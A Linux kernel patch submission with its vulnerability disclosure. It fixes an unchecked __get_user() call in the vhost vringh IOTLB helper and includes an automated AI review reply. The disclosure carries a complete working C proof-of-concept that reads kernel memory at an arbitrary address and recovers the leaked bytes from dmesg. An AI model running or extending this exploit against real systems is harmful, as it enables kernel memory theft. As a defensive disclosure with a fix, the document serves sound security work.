[PATCH] vringh: validate user address in the IOTLB use_va read helper

[PATCH] vringh: validate user address in the IOTLB use_va read helper

[Haoran Wang]

From c165d81ad210155e0ac8eff7a571d9e525c00113 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Date: Thu, 15 Oct 2026 16:59:32 +0800
Subject: [PATCH] vringh: validate user address in the IOTLB use_va read helper

getu16_iotlb() reads a 2-byte value from the address returned by
iotlb_translate() using __get_user(), which skips access_ok().
iotlb_translate() only performs an IOTLB interval lookup and does not
validate the address as a user pointer.  In the vhost-vdpa + vdpa_sim
use_va path, vdpa_sim's default passthrough IOTLB identity-maps the
whole address space and vdpasim_set_vq_address() stores the
controller-supplied vring address verbatim, so a controller with
CAP_NET_ADMIN can point the vring avail_user_addr at a kernel address.
On a vq kick the worker then dereferences that kernel address via
__get_user(), leaking 2 bytes of kernel memory per read; the value is
disclosed to dmesg by vringh_bad().

get_user() is access_ok() + __get_user(), use it instead so a kernel
address is rejected with -EFAULT rather than dereferenced.


Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---

I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
against the 7.2.10 source tree. I have reproduced the leak on an
unmodified 7.2.10 kernel.

1. Summary
getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
without an access_ok() check. iov_base originates from iotlb_translate(),
which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
does not call access_ok(). In the vdpa_sim default passthrough mode the
entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
vdpasim_set_vq_address() stores the controller-supplied vring address
verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
worker reads 2 bytes from that kernel address via __get_user (no
access_ok). Each vring iteration reads 2 bytes and the value is
repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
would have rejected a kernel address via access_ok(), while__get_user() does
not.

2. Vulnerable code
- File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
- Function: getu16_iotlb
- Misused API: __get_user

```c
/* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
if (vrh->use_va) {
        ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
}

/* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
/* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
/* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
vq->desc_addr = desc_area;   /* controller-controlled = kernel address */
```

3. Root cause
get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
(it expands to __get_user_nocheck, which performs no check_range, whereas
get_user/put_user expand to the check_range-bearing variants that reject
kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
addresses supplied by the controller (driver_addr/desc_addr) flow through
iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
address space, so any address passes the lookup. vdpasim_set_vq_address()
stores the controller's u64 with no user/kernel validation, and
vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
because vq->private_data is never set. Consequently __get_user
dereferences an attacker-chosen kernel virtual address: the vdpa_sim
worker runs under kthread_use_mm() in the controller's mm with SMAP
disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
kernel memory are read. With num=1, __vringh_get_head() sees head (the
leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
to dmesg, making the leak externally observable.

4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.

5. Trigger / Preconditions
CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
kicks the vq. The worker then reads 2 bytes at the chosen kernel address.

6. Proof of Concept
Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
by vringh_bad().

Concrete reproduced evidence (7.2.10):
- dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
- leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
  (linux_banner[5]=' '(0x20) << 8)
- The expected value is independently computable from /proc/version (which
  prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
  = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
- Across 3 boots the banner *address* changed under KASLR
  (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
  trigger resolves it at runtime via /proc/kallsyms), while the leaked
  *content* was 8312 every time. KASLR only randomizes the address, the 2
  bytes read there are constant.

So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
virtual address by setting a vring avail_user_addr to that address and
kicking the vdpa_sim worker. The value is disclosed to dmesg via
vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
7.2.10 kernel.

Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
(CAP_NET_ADMIN):

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/vhost.h>
#include <linux/vdpa.h>
#include <sys/eventfd.h>

#ifndef VHOST_VDPA
#define VHOST_VDPA 0xAF
#endif

#ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
#define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
#endif
#ifndef VHOST_BACKEND_F_IOTLB_BATCH
#define VHOST_BACKEND_F_IOTLB_BATCH 0x2
#endif
#ifndef VHOST_BACKEND_F_IOTLB_ASID
#define VHOST_BACKEND_F_IOTLB_ASID 0x3
#endif
#ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
#define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
#endif

static inline int nla_ok_(const struct nlattr *nla, int remaining)
{
        return remaining >= (int)sizeof(struct nlattr) &&
               nla->nla_len >= (int)sizeof(struct nlattr) &&
               nla->nla_len <= remaining;
}
static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
{
        int tot = (int)NLA_ALIGN(nla->nla_len);
        *remaining -= tot;
        return (struct nlattr *)((char *)nla + tot);
}
static inline void *nla_data_(const struct nlattr *nla)
{
        return (char *)nla + NLA_HDRLEN;
}

#ifndef VDPA_GENL_NAME
#define VDPA_GENL_NAME "vdpa"
#endif
#ifndef VDPA_GENL_VERSION
#define VDPA_GENL_VERSION 1
#endif
#ifndef VDPA_CMD_DEV_NEW
#define VDPA_CMD_DEV_NEW 3
#endif
#ifndef VDPA_CMD_DEV_DEL
#define VDPA_CMD_DEV_DEL 4
#endif
#ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
#define VDPA_ATTR_MGMTDEV_DEV_NAME 2
#endif
#ifndef VDPA_ATTR_DEV_NAME
#define VDPA_ATTR_DEV_NAME 4
#endif

#define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
#define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)

static int nlsock;
static __u32 nlseq = 0;

static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
{
        struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
        int sl = (int)strlen(s) + 1;
        int pl = NLA_HDRLEN + sl;
        int pad = NLA_ALIGN(sl) - sl;
        if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
        nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
        nla->nla_len = (__u16)pl;
        nla->nla_type = (__u16)type;
        memcpy((char *)nla + NLA_HDRLEN, s, sl);
        nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
        (void)pad;
        return 0;
}

static int genl_resolve_family(const char *name, __u16 *fam_id)
{
        char buf[1024];
        struct nlmsghdr *nlh = (void *)buf;
        struct genlmsghdr *gh;
        memset(buf, 0, sizeof(buf));
        nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
        nlh->nlmsg_type = GENL_ID_CTRL;
        nlh->nlmsg_flags = NLM_F_REQUEST;
        nlh->nlmsg_seq = ++nlseq;
        gh = NLMSG_DATA(nlh);
        gh->cmd = CTRL_CMD_GETFAMILY;
        gh->version = 1;
        nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
        struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
        struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
        struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
        if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
        char rbuf[4096];
        struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
        struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
        ssize_t n = recvmsg(nlsock, &rmsg, 0);
        if (n < 0) { xp("recvmsg getfamily"); return -1; }
        struct nlmsghdr *r = (void *)rbuf;
        if (!NLMSG_OK(r, (size_t)n)) return -1;
        if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
        int hlen = GENL_HDRLEN;
        struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
        int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
        *fam_id = 0;
        for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
                if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
                        *fam_id = *(__u16 *)nla_data_(na);
                        return 0;
                }
        }
        return -1;
}

static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
{
        char buf[1024];
        struct nlmsghdr *nlh = (void *)buf;
        struct genlmsghdr *gh;
        memset(buf, 0, sizeof(buf));
        nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
        nlh->nlmsg_type = fam;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = ++nlseq;
        gh = NLMSG_DATA(nlh);
        gh->cmd = VDPA_CMD_DEV_NEW;
        gh->version = VDPA_GENL_VERSION;
        if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
        if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
        struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
        struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
        struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
        if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
        char rbuf[4096];
        struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
        struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
        ssize_t n = recvmsg(nlsock, &rmsg, 0);
        if (n < 0) { xp("recvmsg dev_new"); return -1; }
        struct nlmsghdr *r = (void *)rbuf;
        if (!NLMSG_OK(r, (size_t)n)) return -1;
        if (r->nlmsg_type == NLMSG_ERROR) {
                struct nlmsgerr *e = NLMSG_DATA(r);
                if (e->error == 0)
                        return 0;
                fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
                return -1;
        }
        return 0;
}

static int genl_dev_del(__u16 fam, const char *devname)
{
        char buf[1024];
        struct nlmsghdr *nlh = (void *)buf;
        struct genlmsghdr *gh;
        memset(buf, 0, sizeof(buf));
        nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
        nlh->nlmsg_type = fam;
        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = ++nlseq;
        gh = NLMSG_DATA(nlh);
        gh->cmd = VDPA_CMD_DEV_DEL;
        gh->version = VDPA_GENL_VERSION;
        nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
        struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
        struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
        struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
        sendmsg(nlsock, &msg, 0);
        char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
        struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
        recvmsg(nlsock, &rmsg, 0);
        return 0;
}

static unsigned long ksym(const char *want)
{
        FILE *f = fopen("/proc/kallsyms", "r");
        if (!f) return 0;
        char line[512];
        unsigned long a = 0;
        while (fgets(line, sizeof(line), f)) {
                char type; char name[256];
                if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
                        if (strcmp(name, want) == 0) { fclose(f); return a; }
                }
        }
        fclose(f);
        return 0;
}

static int expected_leak(unsigned *out)
{
        FILE *f = fopen("/proc/version", "r");
        if (!f) return -1;
        char v[256];
        if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
        fclose(f);
        int len = (int)strlen(v);
        if (len < 6) return -1;
        unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
        *out = m;
        fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x  => expected leak M = 0x%04x (%u)\n",
                (unsigned char)v[4], (unsigned char)v[5], m, m);
        fprintf(stderr, "[*] /proc/version = %.40s\n", v);
        return 0;
}

int main(int argc, char **argv)
{
        unsigned exp;
        if (expected_leak(&exp)) die("cannot read /proc/version");
        unsigned long banner = ksym("linux_banner");
        fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
        if (!banner) die("linux_banner not in /proc/kallsyms (need root)");

        nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
        if (nlsock < 0) die("netlink socket");
        struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
        if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
        __u16 fam;
        if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
        fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
        if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
        fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");

        char path[64]; int vfd = -1;
        for (int i = 0; i < 50; i++) {
                snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
                vfd = open(path, O_RDWR | O_CLOEXEC);
                if (vfd >= 0) break;
        }
        if (vfd < 0) die("open /dev/vhost-vdpa-*");
        fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);

        int callfd = eventfd(0, EFD_CLOEXEC);
        int kickfd = eventfd(0, EFD_CLOEXEC);
        if (callfd < 0 || kickfd < 0) die("eventfd");

        if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");

        __u64 bf = 0;
        if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
        __u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
                       | (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
                       | (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
                       | (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
        if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");

        __u64 feat = 0;
        if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
        __u64 ack = 0;
        ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
        ack |= (1ULL << VIRTIO_F_VERSION_1);
        ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
        ack &= feat;
        if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
        if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");

        struct vhost_vring_state vs = { .index = 0, .num = 1 };
        if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");

        size_t pg = 4096;
        void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
        void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
        if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
        memset(descbuf, 0, pg); memset(usedbuf, 0, pg);

        struct vhost_vring_addr va = {0};
        va.index = 0;
        va.flags = 0;
        va.desc_user_addr  = (uintptr_t)descbuf;
        va.avail_user_addr = (uintptr_t)banner;   /* <-- KERNEL address, the leak source */
        va.used_user_addr  = (uintptr_t)usedbuf;
        va.log_guest_addr  = 0;
        if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");

        struct vhost_vring_state base = { .index = 0, .num = 0 };
        if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");

        struct vhost_vring_file cf = { .index = 0, .fd = callfd };
        if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
        struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
        if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");

        struct vhost_vring_state en = { .index = 0, .num = 1 };
        if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");

        __u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
                    | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
        if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");

        uint64_t one = 1;
        if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");

        unsigned leaked = 0; int found = 0;
        for (int try = 0; try < 20 && !found; try++) {
                usleep(100000);
                FILE *d = popen("dmesg 2>/dev/null", "r");
                if (d) {
                        char l[512];
                        while (fgets(l, sizeof(l), d)) {
                                char *p = strstr(l, "Guest says index");
                                if (p) {
                                        unsigned idx = 0, numv = 0;
                                        if (sscanf(p, "Guest says index %u > %u is available",
                                                   &idx, &numv) >= 1) {
                                                leaked = idx; found = 1;
                                                fprintf(stderr, "[!!] dmesg: %s", l);
                                                break;
                                        }
                                }
                        }
                        pclose(d);
                }
        }

        if (!found) {
                fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
                FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
                if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
                die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
        }

        fprintf(stderr, "\n=== RESULT ===\n");
        fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
        fprintf(stderr, "expected (/proc/version[4,5])     = 0x%04x (%u)\n", exp, exp);
        if (leaked == exp) {
                fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
                fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
        } else {
                fprintf(stderr, "MISMATCH - investigate\n");
        }

        status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
        close(vfd); close(callfd); close(kickfd);
        genl_dev_del(fam, "sim0");
        return (leaked == exp) ? 0 : 2;
}
```

Captured dmesg from the 7.2.10 run (the disclosed leaked value):
```
[    1.882938] vringh:
[    1.882944] Guest says index 8312 > 1 is available
```

7. Impact
Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
read 2 bytes at an arbitrary kernel virtual address per vring kick via
__get_user() with no access_ok(), and the value is disclosed to dmesg via
vringh_bad(). The read is repeatable, so the whole kernel address space
can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
reads. No memory corruption. KASLR does not prevent it (only the address
is randomized, the leaked content is constant). Only the use_va mode is
affected (the non-use_va path goes through GUP, which has an equivalent
check_range guard).

Please let me know if you need more detail.
---
 drivers/vhost/vringh.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vringh.c b/drivers/vhost/vringh.c
index 9066f9f..b441243 100644
--- a/drivers/vhost/vringh.c
+++ b/drivers/vhost/vringh.c
@@ -1213,7 +1213,7 @@ static inline int getu16_iotlb(const struct vringh *vrh,
 		return ret;
 
 	if (vrh->use_va) {
-		ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
+		ret = get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base);
 		if (ret)
 			return ret;
 	} else {
-- 
2.43.0

Re: [PATCH] vringh: validate user address in the IOTLB use_va read helper

[sashiko-bot]

> From c165d81ad210155e0ac8eff7a571d9e525c00113 Mon Sep 17 00:00:00 2001
> From: Haoran Wang <haoranwangsec@gmail.com>
> Date: Thu, 15 Oct 2026 16:59:32 +0800
> Subject: [PATCH] vringh: validate user address in the IOTLB use_va read helper
> 
> getu16_iotlb() reads a 2-byte value from the address returned by
> iotlb_translate() using __get_user(), which skips access_ok().
> iotlb_translate() only performs an IOTLB interval lookup and does not
> validate the address as a user pointer.  In the vhost-vdpa + vdpa_sim
> use_va path, vdpa_sim's default passthrough IOTLB identity-maps the
> whole address space and vdpasim_set_vq_address() stores the
> controller-supplied vring address verbatim, so a controller with
> CAP_NET_ADMIN can point the vring avail_user_addr at a kernel address.
> On a vq kick the worker then dereferences that kernel address via
> __get_user(), leaking 2 bytes of kernel memory per read; the value is
> disclosed to dmesg by vringh_bad().
> 
> get_user() is access_ok() + __get_user(), use it instead so a kernel
> address is rejected with -EFAULT rather than dereferenced.
> 
> 
> Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>

Sashiko has reviewed this patch and found no issues. It looks great!

-- 
Sashiko AI review · https://sashiko.dev/#/patchset/6ad09d48.81b1ab59.3da7fb.9fc9@mx.google.com?part=1